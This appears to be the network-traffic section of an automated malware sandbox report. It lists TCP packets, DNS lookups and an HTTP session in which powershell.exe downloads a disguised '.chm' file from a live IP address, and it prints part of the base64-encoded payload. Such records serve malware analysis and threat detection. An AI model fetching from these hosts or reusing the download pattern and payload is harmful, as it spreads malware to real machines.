Apr 25, 2024 08:12:30.966133118 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966176987 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966181993 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966214895 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966238022 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966301918 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966301918 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966320038 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966371059 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966409922 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966459990 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966511965 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966573954 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966774940 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966820955 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966831923 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966870070 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966906071 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966928005 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966933012 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966952085 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966964960 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966972113 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967011929 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967024088 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967061996 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967073917 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967091084 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967113972 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967137098 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967145920 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967205048 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967216969 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967238903 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967258930 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967266083 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967281103 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967310905 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967314005 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967355013 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967403889 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967407942 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967461109 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967473030 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967489004 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967516899 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967541933 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967550039 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967566967 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967596054 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967626095 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967648029 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967688084 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967726946 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967742920 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967766047 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967792988 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967828989 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967845917 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967861891 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967881918 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967911005 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967917919 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967957020 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.967961073 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.967972994 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.968018055 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.968050957 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.968082905 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.968122005 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.968137980 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.968256950 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.968276024 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.968291998 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.968307972 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.968311071 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.968324900 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.968341112 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.968350887 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.968357086 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.968374968 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.968389034 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.171624899 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.171652079 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.171668053 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.171694994 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.171773911 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.171773911 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.171829939 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.171850920 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.171863079 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.171871901 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.171902895 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.171969891 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.171988964 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172004938 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172024965 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172032118 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172044039 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172072887 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172076941 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172095060 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172136068 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172161102 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172168016 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172193050 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172209978 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172228098 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172240019 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172246933 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172265053 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172282934 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172324896 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172374010 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172403097 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172420025 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172472954 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172492981 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172508955 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172524929 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172557116 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172565937 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172605038 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172605991 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172619104 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172636032 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172682047 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172713995 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172732115 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172749043 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172765970 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172774076 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172794104 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172811031 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172827959 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172832966 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172859907 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172899961 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172909975 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.172966003 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.172991037 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173055887 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173058987 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173130035 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173130989 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173173904 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173197985 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173222065 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173227072 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173253059 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173274040 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173283100 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173293114 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173300028 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173317909 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173358917 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173403978 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173420906 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173437119 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173453093 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173470974 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173496008 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173527002 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173543930 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173547029 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173573971 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173595905 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173626900 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173652887 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173669100 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173695087 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173700094 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.173708916 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.173755884 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174297094 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174348116 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174348116 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174365044 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174396038 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174400091 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174421072 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174423933 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174441099 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174454927 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174494028 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174499035 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174515963 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174545050 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174563885 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174587965 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174616098 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174643993 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174648046 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174679995 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174722910 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174730062 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174746990 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:31.174787045 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:31.174817085 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:35.967389107 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:35.967459917 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:13:03.453459024 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:13:14.208170891 CEST	49716	80	192.168.2.5	47.91.88.207
Apr 25, 2024 08:13:14.420772076 CEST	80	49716	47.91.88.207	192.168.2.5
Apr 25, 2024 08:13:14.420876026 CEST	49716	80	192.168.2.5	47.91.88.207
Apr 25, 2024 08:13:14.421787977 CEST	49716	80	192.168.2.5	47.91.88.207
Apr 25, 2024 08:13:14.634684086 CEST	80	49716	47.91.88.207	192.168.2.5
Apr 25, 2024 08:13:14.651923895 CEST	80	49716	47.91.88.207	192.168.2.5
Apr 25, 2024 08:13:14.651940107 CEST	80	49716	47.91.88.207	192.168.2.5
Apr 25, 2024 08:13:14.652060986 CEST	49716	80	192.168.2.5	47.91.88.207
Apr 25, 2024 08:13:14.652693033 CEST	49716	80	192.168.2.5	47.91.88.207
Apr 25, 2024 08:13:14.865175962 CEST	80	49716	47.91.88.207	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 08:13:14.079528093 CEST	64692	53	192.168.2.5	1.1.1.1
Apr 25, 2024 08:13:14.202593088 CEST	53	64692	1.1.1.1	192.168.2.5
Apr 25, 2024 08:13:29.875508070 CEST	62549	53	192.168.2.5	1.1.1.1
Apr 25, 2024 08:13:30.018017054 CEST	53	62549	1.1.1.1	192.168.2.5
Apr 25, 2024 08:13:42.025265932 CEST	61154	53	192.168.2.5	1.1.1.1
Apr 25, 2024 08:13:42.164191008 CEST	53	61154	1.1.1.1	192.168.2.5
Apr 25, 2024 08:13:49.265898943 CEST	58303	53	192.168.2.5	1.1.1.1
Apr 25, 2024 08:13:49.392232895 CEST	53	58303	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 25, 2024 08:13:14.079528093 CEST	192.168.2.5	1.1.1.1	0xbf26	Standard query (0)	www.tyaer.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 08:13:29.875508070 CEST	192.168.2.5	1.1.1.1	0xabc	Standard query (0)	www.oyoing.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 08:13:42.025265932 CEST	192.168.2.5	1.1.1.1	0x343f	Standard query (0)	www.oyoing.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 08:13:49.265898943 CEST	192.168.2.5	1.1.1.1	0x3fcc	Standard query (0)	www.megabet303.lol	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 25, 2024 08:13:14.202593088 CEST	1.1.1.1	192.168.2.5	0xbf26	No error (0)	www.tyaer.com		47.91.88.207	A (IP address)	IN (0x0001)	false
Apr 25, 2024 08:13:30.018017054 CEST	1.1.1.1	192.168.2.5	0xabc	No error (0)	www.oyoing.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Apr 25, 2024 08:13:42.164191008 CEST	1.1.1.1	192.168.2.5	0x343f	No error (0)	www.oyoing.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Apr 25, 2024 08:13:49.392232895 CEST	1.1.1.1	192.168.2.5	0x3fcc	Name error (3)	www.megabet303.lol	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

87.121.105.163

www.tyaer.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	87.121.105.163	80	2568	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 08:11:54.156282902 CEST	173	OUT	GET /Acariatre43.chm HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 87.121.105.163 Connection: Keep-Alive
Apr 25, 2024 08:11:54.359863043 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 06:11:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 19 Apr 2024 14:05:06 GMT ETag: "75ab0-6167393252880" Accept-Ranges: bytes Content-Length: 481968 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: chemical/x-chemdraw Data Raw: 36 77 49 61 2b 65 73 43 58 6b 71 37 58 59 51 4d 41 4f 73 43 2b 47 58 72 41 75 78 71 41 31 77 6b 42 4f 73 43 7a 41 74 78 41 5a 75 35 74 36 61 34 33 4f 73 43 4d 70 68 78 41 5a 75 42 38 5a 49 74 76 56 35 78 41 5a 76 72 41 73 35 64 67 65 6b 6c 69 77 57 43 36 77 4a 76 53 33 45 42 6d 2b 73 43 38 31 6a 72 41 6b 47 45 75 6d 6a 38 42 67 54 72 41 6f 46 4b 36 77 4c 4f 61 58 45 42 6d 33 45 42 6d 7a 48 4b 36 77 49 6d 46 58 45 42 6d 34 6b 55 43 2b 73 43 75 39 44 72 41 6b 77 39 30 65 4c 72 41 72 32 72 36 77 4c 50 6c 6f 50 42 42 48 45 42 6d 2b 73 43 53 7a 53 42 2b 57 4e 75 70 41 46 38 79 6e 45 42 6d 2b 73 43 70 71 79 4c 52 43 51 45 63 51 47 62 36 77 4c 45 6e 49 6e 44 36 77 4c 75 45 75 73 43 41 58 36 42 77 34 7a 36 6c 77 44 72 41 71 69 39 63 51 47 62 75 73 6d 43 53 6f 56 78 41 5a 74 78 41 5a 75 42 38 69 31 52 6e 45 54 72 41 72 61 38 63 51 47 62 67 66 4c 6b 30 39 62 42 36 77 4a 62 38 65 73 43 39 73 76 72 41 76 4a 72 63 51 47 62 36 77 4b 78 71 2b 73 43 51 7a 75 4c 44 42 44 72 41 68 54 57 36 77 49 50 73 49 6b 4d 45 33 45 42 6d 33 45 42 6d 30 4a 78 41 5a 76 72 41 69 4d 55 67 66 70 30 49 77 55 41 64 64 54 72 41 70 59 2f 63 51 47 62 69 56 77 6b 44 4f 73 43 37 70 33 72 41 73 53 54 67 65 30 41 41 77 41 41 63 51 47 62 63 51 47 62 69 31 51 6b 43 4f 73 43 78 75 4c 72 41 67 47 47 69 33 77 6b 42 48 45 42 6d 2b 73 43 31 4f 75 4a 36 2b 73 43 63 4f 58 72 41 69 64 6d 67 63 4f 63 41 41 41 41 63 51 47 62 63 51 47 62 55 33 45 42 6d 2b 73 43 37 33 6c 71 51 4f 73 43 4f 34 78 78 41 5a 75 4a 36 33 45 42 6d 2b 73 43 73 41 6e 48 67 77 41 42 41 41 41 41 41 4c 51 42 63 51 47 62 36 77 49 36 56 49 48 44 41 41 45 41 41 4f 73 43 6a 37 44 72 41 74 6f 61 55 2b 73 43 62 38 6e 72 41 6d 52 49 69 65 74 78 41 5a 76 72 41 6e 76 72 69 62 73 45 41 51 41 41 36 77 4b 56 63 6e 45 42 6d 34 48 44 42 41 45 41 41 48 45 42 6d 2b 73 43 7a 48 6c 54 36 77 4c 31 54 33 45 42 6d 32 72 2f 63 51 47 62 63 51 47 62 67 38 49 46 36 77 49 52 76 58 45 42 6d 7a 48 32 36 77 4c 56 79 6e 45 42 6d 7a 48 4a 63 51 47 62 63 51 47 62 69 78 70 78 41 5a 76 72 41 74 4a 53 51 65 73 43 62 6c 64 78 41 5a 73 35 48 41 70 31 38 33 45 42 6d 33 45 42 6d 30 62 72 41 69 58 5a 63 51 47 62 67 48 77 4b 2b 37 68 31 33 6e 45 42 6d 2b 73 43 41 44 4b 4c 52 41 72 38 36 77 4c 42 47 48 45 42 6d 79 6e 77 36 77 49 63 58 48 45 42 6d 2f 2f 53 36 77 4b 49 50 75 73 43 77 63 61 36 64 43 4d 46 41 4f 73 43 64 6b 58 72 41 68 37 43 4d 63 42 78 41 5a 76 72 41 72 51 47 69 33 77 6b 44 4f 73 43 6d 65 4a 78 41 5a 75 42 4e 41 64 32 65 2b 6e 53 36 77 4c 69 78 2b 73 43 54 73 61 44 77 41 54 72 41 67 67 53 36 77 4c 75 6d 44 6e 51 64 65 4c 72 41 73 56 4a 36 77 4c 47 72 6f 6e 37 36 77 4c 78 6b 2b 73 43 38 6d 54 2f 31 33 45 42 6d 2b 73 43 61 6f 58 32 67 4a 7a 72 76 6b 4d 72 55 6f 6a 58 59 44 66 2f 50 69 46 71 77 67 41 62 2b 55 4f 4d 4e 58 39 2f 54 74 32 46 54 7a 44 73 57 32 54 69 66 2f 75 79 38 4b 77 61 54 71 75 38 57 35 4d 64 30 41 76 50 41 75 53 4e 70 68 31 41 53 77 48 36 47 49 63 41 64 54 74 54 6e 7a 34 35 52 37 4f 4e 4b 4b 72 33 69 68 5a 34 7a Data Ascii: 6wIa+esCXkq7XYQMAOsC+GXrAuxqA1wkBOsCzAtxAZu5t6a43OsCMphxAZuB8ZItvV5xAZvrAs5dgekliwWC6wJvS3EBm+sC81jrAkGEumj8BgTrAoFK6wLOaXEBm3EBmzHK6wImFXEBm4kUC+sCu9DrAkw90eLrAr2r6wLPloPBBHEBm+sCSzSB+WNupAF8ynEBm+sCpqyLRCQEcQGb6wLEnInD6wLuEusCAX6Bw4z6lwDrAqi9cQGbusmCSoVxAZtxAZuB8i1RnETrAra8cQGbgfLk09bB6wJb8esC9svrAvJrcQGb6wKxq+sCQzuLDBDrAhTW6wIPsIkME3EBm3EBm0JxAZvrAiMUgfp0IwUAddTrApY/cQGbiVwkDOsC7p3rAsSTge0AAwAAcQGbcQGbi1QkCOsCxuLrAgGGi3wkBHEBm+sC1OuJ6+sCcOXrAidmgcOcAAAAcQGbcQGbU3EBm+sC73lqQOsCO4xxAZuJ63EBm+sCsAnHgwABAAAAALQBcQGb6wI6VIHDAAEAAOsCj7DrAtoaU+sCb8nrAmRIietxAZvrAnvribsEAQAA6wKVcnEBm4HDBAEAAHEBm+sCzHlT6wL1T3EBm2r/cQGbcQGbg8IF6wIRvXEBmzH26wLVynEBmzHJcQGbcQGbixpxAZvrAtJSQesCbldxAZs5HAp183EBm3EBm0brAiXZcQGbgHwK+7h13nEBm+sCADKLRAr86wLBGHEBmynw6wIcXHEBm//S6wKIPusCwca6dCMFAOsCdkXrAh7CMcBxAZvrArQGi3wkDOsCmeJxAZuBNAd2e+nS6wLix+sCTsaDwATrAggS6wLumDnQdeLrAsVJ6wLGron76wLxk+sC8mT/13EBm+sCaoX2gJzrvkMrUojXYDf/PiFqwgAb+UOMNX9/Tt2FTzDsW2Tif/uy8KwaTqu8W5Md0AvPAuSNph1ASwH6GIcAdTtTnz45R7ONKKr3ihZ4z
Apr 25, 2024 08:11:54.359895945 CEST	1289	IN	Data Raw: 55 66 51 47 6b 36 58 4c 70 5a 37 65 34 33 51 76 66 5a 70 4b 2b 7a 36 6e 64 39 32 56 62 67 70 30 78 33 51 43 76 63 50 35 4e 4a 53 4f 4f 4a 58 39 7a 2f 6b 30 75 53 55 4c 59 43 78 2f 71 4c 51 64 6e 74 4a 57 37 54 37 61 46 63 39 65 65 6e 53 45 51 57 Data Ascii: UfQGk6XLpZ7e43QvfZpK+z6nd92Vbgp0x3QCvcP5NJSOOJX9z/k0uSULYCx/qLQdntJW7T7aFc9eenSEQWc806VaFc9eenSJjUPPff+otB2e0V7lxbRCjeEZJl0e+mngTptE7H+nNB2e2SWe1GP66X6RKd0e+kRPADGU8MO69J26uqtxfsQSffOnNB2e8opmDLSXwN56dJ5/oEtiYSPJbe30+u9HWwD//6R03Z7j1em/jJb6zfo
